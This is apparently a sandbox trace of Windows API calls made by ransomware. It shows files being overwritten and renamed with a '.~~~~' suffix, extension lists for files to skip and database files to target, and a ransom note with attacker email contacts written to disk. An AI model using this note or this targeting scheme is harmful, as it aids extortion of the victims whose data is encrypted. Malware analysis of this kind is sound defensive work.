	[0082.503] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.503] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.504] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.505] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.505] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.505] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.505] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.506] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.506] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.506] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.507] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.519] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.519] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.520] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0xdeb8, lpOverlapped=0x0) returned 1
	[0082.521] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff2148, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.521] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xdeb8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0xdeb8, lpOverlapped=0x0) returned 1
	[0082.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.522] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.522] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.523] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.523] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.523] CloseHandle (hObject=0x124) returned 1
	[0082.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.~~~~")) returned 1
	[0082.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.708] GetLastError () returned 0x0
	[0082.708] RtlWakeConditionVariable () returned 0x365f70
	[0082.708] GetCurrentThreadId () returned 0xaf0
	[0082.708] GetCurrentThreadId () returned 0xaf0
	[0082.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e73a8 | out: hHeap=0x300000) returned 1
	[0082.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2be0 | out: hHeap=0x300000) returned 1
	[0082.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e73a8
	[0082.708] lstrlenW (lpString=".scr") returned 4
	[0082.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".scr") returned 0x0
	[0082.708] lstrlenW (lpString=".cmd") returned 4
	[0082.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".cmd") returned 0x0
	[0082.708] lstrlenW (lpString=".dll") returned 4
	[0082.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".dll") returned 0x0
	[0082.708] lstrlenW (lpString=".bat") returned 4
	[0082.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".bat") returned 0x0
	[0082.709] lstrlenW (lpString=".cpl") returned 4
	[0082.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".cpl") returned 0x0
	[0082.709] lstrlenW (lpString=".sys") returned 4
	[0082.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".sys") returned 0x0
	[0082.709] lstrlenW (lpString=".msc") returned 4
	[0082.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".msc") returned 0x0
	[0082.709] lstrlenW (lpString=".com") returned 4
	[0082.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".com") returned 0x0
	[0082.709] lstrlenW (lpString=".lnk") returned 4
	[0082.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".lnk") returned 0x0
	[0082.709] lstrlenW (lpString=".msp") returned 4
	[0082.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".msp") returned 0x0
	[0082.709] lstrlenW (lpString=".pif") returned 4
	[0082.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch=".pif") returned 0x0
	[0082.709] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e73a8 | out: hHeap=0x300000) returned 1
	[0082.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0082.718] RtlWakeConditionVariable () returned 0x365f70
	[0082.719] GetCurrentThreadId () returned 0xaf0
	[0082.719] GetCurrentThreadId () returned 0xaf0
	[0082.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7258 | out: hHeap=0x300000) returned 1
	[0082.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c88 | out: hHeap=0x300000) returned 1
	[0082.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7258
	[0082.719] lstrlenW (lpString=".scr") returned 4
	[0082.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".scr") returned 0x0
	[0082.719] lstrlenW (lpString=".cmd") returned 4
	[0082.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".cmd") returned 0x0
	[0082.719] lstrlenW (lpString=".dll") returned 4
	[0082.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".dll") returned 0x0
	[0082.719] lstrlenW (lpString=".bat") returned 4
	[0082.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".bat") returned 0x0
	[0082.719] lstrlenW (lpString=".cpl") returned 4
	[0082.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".cpl") returned 0x0
	[0082.719] lstrlenW (lpString=".sys") returned 4
	[0082.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".sys") returned 0x0
	[0082.719] lstrlenW (lpString=".msc") returned 4
	[0082.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".msc") returned 0x0
	[0082.719] lstrlenW (lpString=".com") returned 4
	[0082.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".com") returned 0x0
	[0082.730] lstrlenW (lpString=".lnk") returned 4
	[0082.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".lnk") returned 0x0
	[0082.730] lstrlenW (lpString=".msp") returned 4
	[0082.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".msp") returned 0x0
	[0082.730] lstrlenW (lpString=".pif") returned 4
	[0082.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch=".pif") returned 0x0
	[0082.730] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7258 | out: hHeap=0x300000) returned 1
	[0082.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0082.743] RtlWakeConditionVariable () returned 0x365f70
	[0082.743] GetCurrentThreadId () returned 0xaf0
	[0082.743] GetCurrentThreadId () returned 0xaf0
	[0082.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcc60 | out: hHeap=0x300000) returned 1
	[0082.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3958 | out: hHeap=0x300000) returned 1
	[0082.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fcc60
	[0082.743] lstrlenW (lpString=".scr") returned 4
	[0082.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".scr") returned 0x0
	[0082.743] lstrlenW (lpString=".cmd") returned 4
	[0082.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".cmd") returned 0x0
	[0082.743] lstrlenW (lpString=".dll") returned 4
	[0082.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".dll") returned 0x0
	[0082.743] lstrlenW (lpString=".bat") returned 4
	[0082.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".bat") returned 0x0
	[0082.743] lstrlenW (lpString=".cpl") returned 4
	[0082.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".cpl") returned 0x0
	[0082.743] lstrlenW (lpString=".sys") returned 4
	[0082.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".sys") returned 0x0
	[0082.744] lstrlenW (lpString=".msc") returned 4
	[0082.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".msc") returned 0x0
	[0082.744] lstrlenW (lpString=".com") returned 4
	[0082.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".com") returned 0x0
	[0082.744] lstrlenW (lpString=".lnk") returned 4
	[0082.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".lnk") returned 0x0
	[0082.744] lstrlenW (lpString=".msp") returned 4
	[0082.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".msp") returned 0x0
	[0082.744] lstrlenW (lpString=".pif") returned 4
	[0082.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch=".pif") returned 0x0
	[0082.744] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpSrch="msp\r\n.pif") returned 0x0
	[0082.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcc60 | out: hHeap=0x300000) returned 1
	[0082.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc968 | out: hHeap=0x300000) returned 1
	[0082.752] RtlWakeConditionVariable () returned 0x365f70
	[0082.752] GetCurrentThreadId () returned 0xaf0
	[0082.752] GetCurrentThreadId () returned 0xaf0
	[0082.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28074c0 | out: hHeap=0x300000) returned 1
	[0082.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e28 | out: hHeap=0x300000) returned 1
	[0082.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28074c0
	[0082.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.823] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.824] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.825] CloseHandle (hObject=0x124) returned 1
	[0082.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28074c0 | out: hHeap=0x300000) returned 1
	[0082.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.825] RtlWakeConditionVariable () returned 0x365f70
	[0082.825] GetCurrentThreadId () returned 0xaf0
	[0082.825] GetCurrentThreadId () returned 0xaf0
	[0082.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0082.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fce28 | out: hHeap=0x300000) returned 1
	[0082.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1f78 | out: hHeap=0x300000) returned 1
	[0082.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fce28
	[0082.825] lstrlenW (lpString=".scr") returned 4
	[0082.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".scr") returned 0x0
	[0082.825] lstrlenW (lpString=".cmd") returned 4
	[0082.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".cmd") returned 0x0
	[0082.825] lstrlenW (lpString=".dll") returned 4
	[0082.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".dll") returned 0x0
	[0082.826] lstrlenW (lpString=".bat") returned 4
	[0082.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".bat") returned 0x0
	[0082.826] lstrlenW (lpString=".cpl") returned 4
	[0082.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".cpl") returned 0x0
	[0082.826] lstrlenW (lpString=".sys") returned 4
	[0082.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".sys") returned 0x0
	[0082.826] lstrlenW (lpString=".msc") returned 4
	[0082.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".msc") returned 0x0
	[0082.826] lstrlenW (lpString=".com") returned 4
	[0082.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".com") returned 0x0
	[0082.826] lstrlenW (lpString=".lnk") returned 4
	[0082.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".lnk") returned 0x0
	[0082.826] lstrlenW (lpString=".msp") returned 4
	[0082.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".msp") returned 0x0
	[0082.826] lstrlenW (lpString=".pif") returned 4
	[0082.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".pif") returned 0x0
	[0082.826] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch="msp\r\n.pif") returned 0x0
	[0082.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0082.879] lstrlenW (lpString=".sqb") returned 4
	[0082.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".sqb") returned 0x0
	[0082.908] lstrlenW (lpString=".ost") returned 4
	[0082.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".ost") returned 0x0
	[0082.912] lstrlenW (lpString=".txt") returned 4
	[0082.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".txt") returned 0x0
	[0082.913] lstrlenW (lpString=".mdt") returned 4
	[0082.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".mdt") returned 0x0
	[0082.922] lstrlenW (lpString=".BDB") returned 4
	[0082.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".BDB") returned 0x0
	[0082.922] lstrlenW (lpString=".eql") returned 4
	[0082.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".eql") returned 0x0
	[0082.922] lstrlenW (lpString=".DBF") returned 4
	[0082.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DBF") returned 0x0
	[0082.922] lstrlenW (lpString=".EQL") returned 4
	[0082.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".EQL") returned 0x0
	[0082.938] lstrlenW (lpString=".FDB") returned 4
	[0082.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".FDB") returned 0x0
	[0082.938] lstrlenW (lpString=".EDB") returned 4
	[0082.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".EDB") returned 0x0
	[0082.938] lstrlenW (lpString=".DACPAC") returned 7
	[0082.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DACPAC") returned 0x0
	[0082.938] lstrlenW (lpString=".VHD") returned 4
	[0082.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".VHD") returned 0x0
	[0082.938] lstrlenW (lpString=".DBV") returned 4
	[0082.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DBV") returned 0x0
	[0082.938] lstrlenW (lpString=".dacpac") returned 7
	[0082.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".dacpac") returned 0x0
	[0082.938] lstrlenW (lpString=".sdf") returned 4
	[0082.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".sdf") returned 0x0
	[0082.938] lstrlenW (lpString=".accdb") returned 6
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".accdb") returned 0x0
	[0082.939] lstrlenW (lpString=".DBX") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DBX") returned 0x0
	[0082.939] lstrlenW (lpString=".MDT") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".MDT") returned 0x0
	[0082.939] lstrlenW (lpString=".SQB") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".SQB") returned 0x0
	[0082.939] lstrlenW (lpString=".vhd") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".vhd") returned 0x0
	[0082.939] lstrlenW (lpString=".bac") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".bac") returned 0x0
	[0082.939] lstrlenW (lpString=".mdf") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".mdf") returned 0x0
